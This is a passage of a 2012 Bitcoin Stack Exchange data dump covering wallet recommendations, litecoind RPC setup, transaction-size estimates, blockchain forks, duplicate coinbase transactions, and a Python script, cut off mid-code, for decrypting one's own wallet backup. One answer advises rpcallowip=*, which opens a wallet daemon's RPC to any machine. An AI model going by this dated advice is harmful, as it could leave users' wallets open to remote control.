  <row Id="3002" PostTypeId="2" ParentId="8" CreationDate="2012-02-23T14:54:20.520" Score="1" Body="&lt;p&gt;You can develop a light weight and yet secure mobile app on top of the &lt;a href=&quot;http://code.google.com/p/bccapi/&quot; rel=&quot;nofollow&quot;&gt;BCCAPI&lt;/a&gt;. &#xA;The BCCAPI is implemented in Java and connects to a server that does the heavy lifting required to manage the block chain. However, the server does not have your private keys, and depends on the mobile device to sign transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://market.android.com/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt; is an example of an Android app built on top of the BCCAPI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to use this to make an iPhone app you would have to port the BCCAPI from Java to a C-like language.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T14:54:20.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3003" PostTypeId="2" ParentId="189" CreationDate="2012-02-23T15:04:01.957" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://market.android.com/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt; on Android phones. BitcoinSpinner is a light weight secure Bitcoin client, which is ready for use immediately after installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=52674.0&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner announcement at bitcointalk.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T15:04:01.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3004" PostTypeId="2" ParentId="1845" CreationDate="2012-02-23T15:07:31.833" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://market.android.com/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt; for Android phones is an amazingly simple yet secure Bitcoin wallet. It is built on top of the &lt;a href=&quot;http://code.google.com/p/bccapi/&quot; rel=&quot;nofollow&quot;&gt;BCCAPI&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=52674.0&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner announcement at bitcointalk.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T15:07:31.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3005" PostTypeId="2" ParentId="2712" CreationDate="2012-02-23T15:16:01.273" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://lovebitcoins.org&quot; rel=&quot;nofollow&quot;&gt;LoveBitcoins.org&lt;/a&gt; has a &lt;a href=&quot;http://lovebitcoins.org/getStarted.html&quot; rel=&quot;nofollow&quot;&gt;list of clients&lt;/a&gt; for various platforms. Some of them are thin clients that do not have to download the block chain, and they are generally trusted by the community.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T15:16:01.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3006" PostTypeId="2" ParentId="2891" CreationDate="2012-02-23T15:22:30.467" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://market.android.com/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt; for Android phones allows you to export your private key in the Sipa format. This allows you to import it in any wallet service that supports Sipa formatted private keys.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T15:22:30.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3007" PostTypeId="2" ParentId="180" CreationDate="2012-02-23T15:23:58.457" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://lovebitcoins.org&quot; rel=&quot;nofollow&quot;&gt;LoveBitcoins.org&lt;/a&gt; has a &lt;a href=&quot;http://lovebitcoins.org/getStarted.html&quot; rel=&quot;nofollow&quot;&gt;list of clients&lt;/a&gt; for various platforms.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T15:23:58.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3008" PostTypeId="2" ParentId="175" CreationDate="2012-02-23T15:30:04.147" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://lovebitcoins.org&quot; rel=&quot;nofollow&quot;&gt;LoveBitcoins.org&lt;/a&gt; has a &lt;a href=&quot;http://lovebitcoins.org/getStarted.html&quot; rel=&quot;nofollow&quot;&gt;list of clients&lt;/a&gt; for various platforms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am biased because I am the a co-developer of &lt;a href=&quot;https://market.android.com/details?id=com.miracleas.bitcoin_spinner&quot; rel=&quot;nofollow&quot;&gt;BitcoinSpinner&lt;/a&gt;, but I encourage everyone who has an Android phone to try it as it is really simple, secure, and ready for use immediately.&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2012-02-23T15:30:04.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3009" PostTypeId="1" AcceptedAnswerId="3010" CreationDate="2012-02-24T01:50:57.363" Score="6" ViewCount="9858" Body="&lt;ul&gt;&#xA;&lt;li&gt;I edited litecoin.conf file...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=0&#xA;rcpuser=user&#xA;rpcpassowrd=pass&#xA;rpcport=9332&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use minerd with litecoind and when I try to connect to the local machine 127.0.0.1:9332 everything work fine. When I try to connect another workers from the LAN it cant connect to litecoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I scan the port of the machine running litecoind, the port 9332 is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remote connect to the litecoind daemon via LAN?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="18196" LastEditDate="2016-03-18T19:52:56.640" LastActivityDate="2017-10-17T07:32:31.987" Title="How to connect to RPCPORT=9332 via LAN" Tags="|litecoin|miner-configuration|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3010" PostTypeId="2" ParentId="3009" CreationDate="2012-02-24T02:44:22.597" Score="7" Body="&lt;p&gt;If you want to allow connections from any machine, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to allow connections from one specific IP address, put that IP address instead of &lt;code&gt;*&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=192.168.0.101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can have as many of these lines as you like.  Use one for each IP address you want to allow.  And wildcards are also allowed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=192.168.0.*&#xA;rcpallowip=10.*&#xA;rcpallowip=192.168.*.100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-24T03:10:50.083" LastActivityDate="2012-02-24T03:10:50.083" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3011" PostTypeId="2" ParentId="1195" CreationDate="2012-02-25T04:13:15.063" Score="66" Body="&lt;p&gt;Assuming all the inputs you are spending are from regular &quot;pay to address&quot; transactions, each input will contribute 180 (plus or minus 1) bytes to the transaction.  Each output adds 34 bytes to the transaction.  And there's a fixed extra 10 bytes which are always present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;plus or minus 1&quot; comes from the fact that each input needs a signature to be claimed.  The signature contains two 32 byte values, but if either of the values has a first byte of &lt;code&gt;0x80&lt;/code&gt; or more, it has a &lt;code&gt;0x00&lt;/code&gt; byte prepended to it.  So I'm assuming one of the two is high and the other is low.  That way I'm off by at most one byte per input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your transaction has &lt;code&gt;in&lt;/code&gt; inputs and &lt;code&gt;out&lt;/code&gt; outputs, the transaction size, in bytes will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in*180 + out*34 + 10 plus or minus 'in'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://blockexplorer.com/tx/57488f3f8c3961dfa6e76b361aabb1f8e82fb08ea41746604ee6566dd52830de&quot;&gt;this transaction&lt;/a&gt; has 40 inputs and 16 outputs.  That gives us a transaction size of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;40*180 + 16*34 + 10 +- 40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e. &lt;code&gt;7754 +- 40&lt;/code&gt; bytes.  The actual size is &lt;code&gt;7761&lt;/code&gt; bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the inputs are from &quot;pay to pubkey&quot; transactions then the inputs are smaller than for &quot;pay to address&quot; transactions.  And this will be different also for &quot;pay to script hash&quot; inputs too, depending on how/if that's implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;http://blockexplorer.com/tx/d9804de366aa4c2a01565c3a3c8aa2ea20baafc276dc875f80b9044841205333&quot;&gt;This transaction&lt;/a&gt; was made with bitcoins stolen in &lt;a href=&quot;http://arstechnica.com/business/news/2012/03/bitcoins-worth-228000-stolen-from-customers-of-hacked-webhost.ars?clicked=related_right&quot;&gt;the Linode heist&lt;/a&gt; and shows a transaction size of &lt;a href=&quot;http://www.urbandictionary.com/define.php?term=1337&quot;&gt;1337&lt;/a&gt;, possibly a deliberate use of &lt;a href=&quot;http://en.wikipedia.org/wiki/Leet&quot;&gt;leetspeak&lt;/a&gt; in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: Now that compressed public keys are commonplace, each input is 32 bytes shorter and so the transaction size is now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in*148 + out*34 + 10 plus or minus 'in'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2013-02-04T23:13:12.140" LastActivityDate="2013-02-04T23:13:12.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3012" PostTypeId="1" AcceptedAnswerId="3016" CreationDate="2012-02-25T04:19:00.093" Score="4" ViewCount="191" Body="&lt;p&gt;If one sends a solved block to bitcoind server using &lt;code&gt;getmemorypool&lt;/code&gt; or &lt;code&gt;getwork&lt;/code&gt;, and right after that requests a new block using the same API call, what will the server respond with? Assuming the data is correct, will bitcoind immediately create a new block to be solved with &lt;code&gt;prev block&lt;/code&gt; field corresponding to the hash of the recently submitted work, or will it wait for the block to be accepted by its peers first?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:25:59.333" LastActivityDate="2016-03-31T10:25:59.333" Title="How soon does bitcoind incorporate locally solved blocks into its 'getwork' output?" Tags="|bitcoind|protocol|mining-technical-details|getwork|getmemorypool|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3013" PostTypeId="2" ParentId="3012" CreationDate="2012-02-25T06:11:28.503" Score="2" Body="&lt;p&gt;Bitcoin won't wait for its peers: your block will be considered the latest block in the chain once it has been processed. I'm not sure whether it's safe to say that the second RPC call will always reflect the existence of the new block, though, since Bitcoin is threaded and things might not be done in the exact order you expect.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-02-25T06:11:28.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3014" PostTypeId="2" ParentId="2204" CreationDate="2012-02-25T08:00:06.223" Score="1" Body="&lt;p&gt;I think you can place a high amount of trust in Mike Caldwell and his coins in the short term. I've met Mike in person to discuss some possible joint ventures with my coins &lt;a href=&quot;http://coinedbits.com/&quot; rel=&quot;nofollow&quot;&gt;(CoinedBits.com)&lt;/a&gt;. I judge him to be an honest smart person. He genuinely wants to move the Bitcoin movement forward. Scamming anyone would counter his true motives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the long run, there is a good chance you might not be able to put as much trust in the coins themselves. The more popular they get the higher the risk of counterfeiting.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2012-02-25T08:00:06.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3016" PostTypeId="2" ParentId="3012" CreationDate="2012-02-25T14:17:51.320" Score="2" Body="&lt;p&gt;bitcoind will act on the block you submit immediately. But there is no &quot;right after that&quot;. Anything can happen between two requests to bitcoind. The responses you get from bitcoind represent a snapshot in time. In between two requests there could be a block reorganization causing not only your new block to be orphaned, but several blocks back in the chain could disappear, being replaced by blocks from a different fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will usually see your new block at the top of the chain, but don't rely on that or you will have race conditions in your code.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-02-25T14:17:51.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3017" PostTypeId="2" ParentId="2712" CreationDate="2012-02-26T01:03:43.810" Score="0" Body="&lt;p&gt;On Android I like BitcoinSpinner. It's thin and fast because you don't need to download the blockchain locally.&lt;/p&gt;&#xA;" OwnerUserId="1092" LastActivityDate="2012-02-26T01:03:43.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3018" PostTypeId="1" CreationDate="2012-02-26T03:14:33.037" Score="1" ViewCount="143" Body="&lt;p&gt;As there are a couple endiannesses used by Bitcoin, what is the proper way to encode the &lt;code&gt;data&lt;/code&gt; parameter for a &lt;code&gt;getmemorypool&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON API call&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-02-26T05:37:46.243" LastActivityDate="2012-03-05T22:15:09.110" Title="Proper getmemorypool data endianness?" Tags="|protocol|bitcoind|getmemorypool|api|endianness|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3019" PostTypeId="2" ParentId="3018" CreationDate="2012-02-26T05:05:53.747" Score="1" Body="&lt;p&gt;Do you mean the &lt;code&gt;data&lt;/code&gt; response for a &lt;code&gt;getwork&lt;/code&gt; call?  Because &lt;code&gt;getmemorypool&lt;/code&gt; only returns &lt;code&gt;version&lt;/code&gt;, &lt;code&gt;previousblockhash&lt;/code&gt;, &lt;code&gt;transactions&lt;/code&gt;, &lt;code&gt;coinbasevalue&lt;/code&gt;, &lt;code&gt;coinbaseflags&lt;/code&gt;, &lt;code&gt;time&lt;/code&gt;, &lt;code&gt;mintime&lt;/code&gt;, &lt;code&gt;curtime&lt;/code&gt;, and &lt;code&gt;bits&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, I answered that &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2907/659&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-02-26T05:05:53.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3020" PostTypeId="1" CreationDate="2012-02-26T14:55:34.697" Score="1" ViewCount="2041" Body="&lt;p&gt;I'm using guiminer with flags -v -f30 -w128 under windows 7 but all i get is 120Mhash/s thats like 75% of what the table shows. Any idea why is that?&lt;/p&gt;&#xA;" OwnerUserId="1106" LastEditorUserId="5406" LastEditDate="2016-04-28T13:20:02.077" LastActivityDate="2016-04-28T13:20:02.077" Title="Radeon HD 6750 running at 120 Mhash/s table shows 167Mhash/s" Tags="|miner-configuration|gpu-mining|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3021" PostTypeId="2" ParentId="3020" CreationDate="2012-02-26T22:58:51.283" Score="1" Body="&lt;p&gt;If you are using ATI Drivers 11.12 or 12.0 or above you need to set the worksize to 64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the new drivers are a bit slower then pre 11.12 drivers.&lt;/p&gt;&#xA;" OwnerUserId="1107" LastActivityDate="2012-02-26T22:58:51.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3022" PostTypeId="1" CreationDate="2012-02-27T03:06:12.230" Score="7" ViewCount="252" Body="&lt;p&gt;I really like the weusecoins.com introduction video. Who made the video?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It explains very clearly what bitcoins are, how it is different from other money, and how you can buy and sell bitcoins. They did a great job.&lt;/p&gt;&#xA;" OwnerUserId="1108" LastActivityDate="2012-02-27T03:17:12.867" Title="Who made the weusecoins intro video?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3023" PostTypeId="2" ParentId="3022" CreationDate="2012-02-27T03:17:12.867" Score="7" Body="&lt;p&gt;If you would pause the video &lt;a href=&quot;http://www.youtube.com/watch?v=Um63OQz3bjo&amp;amp;t=1m42s&quot;&gt;a couple seconds from the end&lt;/a&gt;, you could see that the voice is done by Chris Rice, motion graphics by Fabian Rühle, music and sound design by Christian Barth, and production by Stefan Thomas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you check the &lt;a href=&quot;https://en.bitcoin.it/wiki/Active_Bounties&quot;&gt;Active Bounties&lt;/a&gt; page on Bitcoin Wiki, you will see that they made 13622.05 BTC doing it (although it was back when Bitcoins were quite cheap in comparison to what they are now).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-27T03:17:12.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3024" PostTypeId="1" CreationDate="2012-02-27T13:09:19.930" Score="6" ViewCount="349" Body="&lt;p&gt;I'm currently in the process of working on my thesis about Bitcoin security and I'm wondering if there's any software available for testing of Bitcoin security? For example, are there any programs that will try launching double-spend attacks, simulate a 51% attack, or the like?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:08:57.677" LastActivityDate="2021-03-06T19:08:57.677" Title="Is there any software available for testing of Bitcoin security?" Tags="|security|doublespend|majority-attack|testing|open-source|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3025" PostTypeId="1" AcceptedAnswerId="3028" CreationDate="2012-02-27T13:20:17.040" Score="2" ViewCount="766" Body="&lt;p&gt;For theoretical purposes, how would one inject a blockchain fork in to the Bitcoin network? For example, lets say we have a small chain of blocks prepared in a program that is not a standard client / standard client with modified code. Can one force a client to accept those blocks through getmemorypool RPC command, or will the client not accept any block that would not go at the tip of the current blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the ways of getting a blockchain fork into the Bitcoin network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I'm not talking about alternative blockchain forks, like SolidCoin, etc., but rather about a fork in the standard Bitcoin chain/testnet chain that would cause some blocks to be orphaned.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-02-27T19:58:24.467" LastActivityDate="2012-02-28T05:41:55.213" Title="How would one inject a blockchain fork to the Bitcoin network?" Tags="|blockchain|security|attack|json-rpc|blockchain-fork|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3026" PostTypeId="2" ParentId="3025" CreationDate="2012-02-27T15:59:40.143" Score="-2" Body="&lt;p&gt;If you modify your client in such a way that it is not compatible with other clients, you will split the block chain for you and anyone else that uses your version of the client. If you can get more than 50% of the Bitcoin Network to adapt to your client, then it will become the official fork. There probably will be a hard fork made to the official core someday if consensus is reached on desired Bitcoin attributes.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-02-27T15:59:40.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3027" PostTypeId="2" ParentId="3024" CreationDate="2012-02-27T20:25:16.347" Score="0" Body="&lt;p&gt;There's a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=59985.0&quot; rel=&quot;nofollow&quot;&gt;fuzzing tool&lt;/a&gt; written by Gavin to test the Bitcoin protocol for vulnerabilities.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-02-27T20:25:16.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3028" PostTypeId="2" ParentId="3025" CreationDate="2012-02-28T05:41:55.213" Score="6" Body="&lt;p&gt;Just pass the blocks one at a time to your official bitcoind program, and it will broadcast them to the network.  You don't need to do anything tricky, except for somehow manage to hash faster than everyone else combined.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-28T05:41:55.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3029" PostTypeId="2" ParentId="3024" CreationDate="2012-02-28T05:44:36.457" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&quot; rel=&quot;nofollow&quot;&gt;testnet-in-a-box&lt;/a&gt; is a simple way to set up your own testnet network, separate from the main one.  That lets you mine your own blocks easily because the difficulty will stay low.  Then you can play around with double-spending your own coins to yourself without inconveniencing others, and without needing large amounts of hash power.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-28T05:44:36.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3030" PostTypeId="1" AcceptedAnswerId="3031" CreationDate="2012-02-28T10:44:47.570" Score="12" ViewCount="2892" Body="&lt;p&gt;Would a block containing a transaction with an identical hash as a previous transaction be considered valid? That is, if someone made a transaction for generating Bitcoins and solve two blocks with the same coinbase transaction, would the second block using that transaction valid?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:10:29.517" LastActivityDate="2021-03-06T19:10:29.517" Title="Two blocks, two transactions, same hash" Tags="|transactions|hash|protocol|block-validity|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3031" PostTypeId="2" ParentId="3030" CreationDate="2012-02-28T10:55:48.857" Score="8" Body="&lt;p&gt;The transaction would be valid - there is nothing in the protocol that forbids this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also the cause of the &quot;duplicate coinbase&quot; bug in the Satoshi client which I discovered a few months ago. If you create a block with a duplicate coinbase and that block then becomes orphaned it will cause the both the original and duplicate tx to be removed from the database.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2012-02-28T13:42:40.387" LastActivityDate="2012-02-28T13:42:40.387" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3032" PostTypeId="2" ParentId="3030" CreationDate="2012-02-28T19:58:15.287" Score="4" Body="&lt;p&gt;That's valid (and &lt;a href=&quot;https://blockexplorer.com/block/00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721&quot; rel=&quot;noreferrer&quot;&gt;has happened&lt;/a&gt;) for coinbase transactions and transactions built off of coinbase transactions. Other than those strange cases, putting the same transaction in the chain twice isn't allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase duplicates are only allowed due to an oversight. It will be corrected soon.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2012-02-28T21:31:03.180" LastActivityDate="2012-02-28T21:31:03.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3033" PostTypeId="1" AcceptedAnswerId="3036" CreationDate="2012-02-28T22:25:47.993" Score="0" ViewCount="435" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/193/how-do-i-see-the-ip-address-of-a-bitcoin-transaction&quot;&gt;How do I see the IP address of a bitcoin transaction?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;When making a bitcoin transaction from or into a wallet that is on my computer, can my Ip address (and thus identity) be found out by the other part of the transaction or a 3rd party?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-02-28T23:48:14.987" Title="Bitcoin transaction anonymity" Tags="|security|" AnswerCount="1" CommentCount="1" ClosedDate="2012-02-28T23:53:14.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="3034" PostTypeId="1" AcceptedAnswerId="3037" CreationDate="2012-02-28T22:59:17.653" Score="10" ViewCount="17561" Body="&lt;p&gt;The website blockchain.info has an online wallet system &lt;a href=&quot;http://blockchain.info/wallet&quot;&gt;MyWallet&lt;/a&gt; which creates backups with a .aes.json extension. While I understand it's a json file encrypted with AES using my passphrase, I'm still confused about what am I supposed to do to decrypt it and load it into a local client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have OSX 10.6, but for portability sake let's just talk about command line, hoping at least that one stays the same on multiple platforms.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-09-04T18:21:08.590" LastActivityDate="2021-01-07T22:33:09.470" Title="How to restore locally a MyWallet backup?" Tags="|wallet|backup|blockchain.info|wallet-recovery|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3035" PostTypeId="2" ParentId="3034" CreationDate="2012-02-28T23:13:04.203" Score="5" Body="&lt;p&gt;I don't know how to do it via the command line, but you can use the tool at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/DecryptWallet.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastehtml.com/view/bprww2t3g.html&quot; rel=&quot;nofollow&quot;&gt;http://pastehtml.com/view/bprww2t3g.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basic, but its cross platform and gets the job done. You can also save it offline.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2012-02-29T13:06:40.967" LastActivityDate="2012-02-29T13:06:40.967" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3036" PostTypeId="2" ParentId="3033" CreationDate="2012-02-28T23:48:14.987" Score="0" Body="&lt;h2&gt;Making a transaction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you make a new transaction sending Bitcoins, you broadcast the transaction to the peers you're connected to, then they send it on to their peers, etc.  There's no way for anyone to know for sure whether you created a transaction they get from you, or whether you're just relaying a transaction you received from someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I was able to connect to all the peers in the network then it's likely that the first one to send me a transaction is the one who created the transaction, but that's not certain, and it's also not possible to connect to all the peers.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Receiving a transaction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When someone sends Bitcoins to your address, your client isn't involved at all.  You don't even need to have your computer turned on to receive Bitcoins at your address.  So there's no way anyone can find your IP address when you receive Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-28T23:48:14.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3037" PostTypeId="2" ParentId="3034" CreationDate="2012-02-29T10:04:09.807" Score="7" Body="&lt;p&gt;I wrote a small Python script which can be used to decrypt your encrypted MyWallet.  It does the same as the &lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot;&gt;MyWallet JavaScript&lt;/a&gt;, only in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: the code below seems to be outdated, here's a &lt;a href=&quot;https://gist.github.com/2757171&quot;&gt;working version&lt;/a&gt; as of May 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the following into a file, make it executable, then run it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;import base64, hashlib, hmac, json, sys, getpass&#xA;from Crypto.Cipher import AES&#xA;from Crypto.Hash import RIPEMD, SHA256&#xA;&#xA;base58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'&#xA;&#xA;def prompt(p):&#xA;    return getpass.getpass(p + &quot;: &quot;)&#xA;&#xA;def decrypt(encrypted, password):&#xA;    encrypted = base64.b64decode(encrypted)&#xA;    iv, encrypted = encrypted[:16], encrypted[16:]&#xA;    length = len(encrypted)&#xA;    encrypted += ' ' * (15 - (length-1)%16)&#xA;    hash = (hmac.new(password, iv + &quot;\x00\x00\x00\x01&quot;, hashlib.sha1).digest() +&#xA;            hmac.new(password, iv + &quot;\x00\x00\x00\x02&quot;, hashlib.sha1).digest())[:32]&#xA;    clear = AES.new(hash, AES.MODE_OFB, iv).decrypt(encrypted)[:length]&#xA;    return clear&#xA;&#xA;def base58_decode(v):&#xA;  value = 0; ret = ''&#xA;  for c in v: value = value*58 + base58_chars.find(c)&#xA;  for i in range(32):&#xA;      ret = 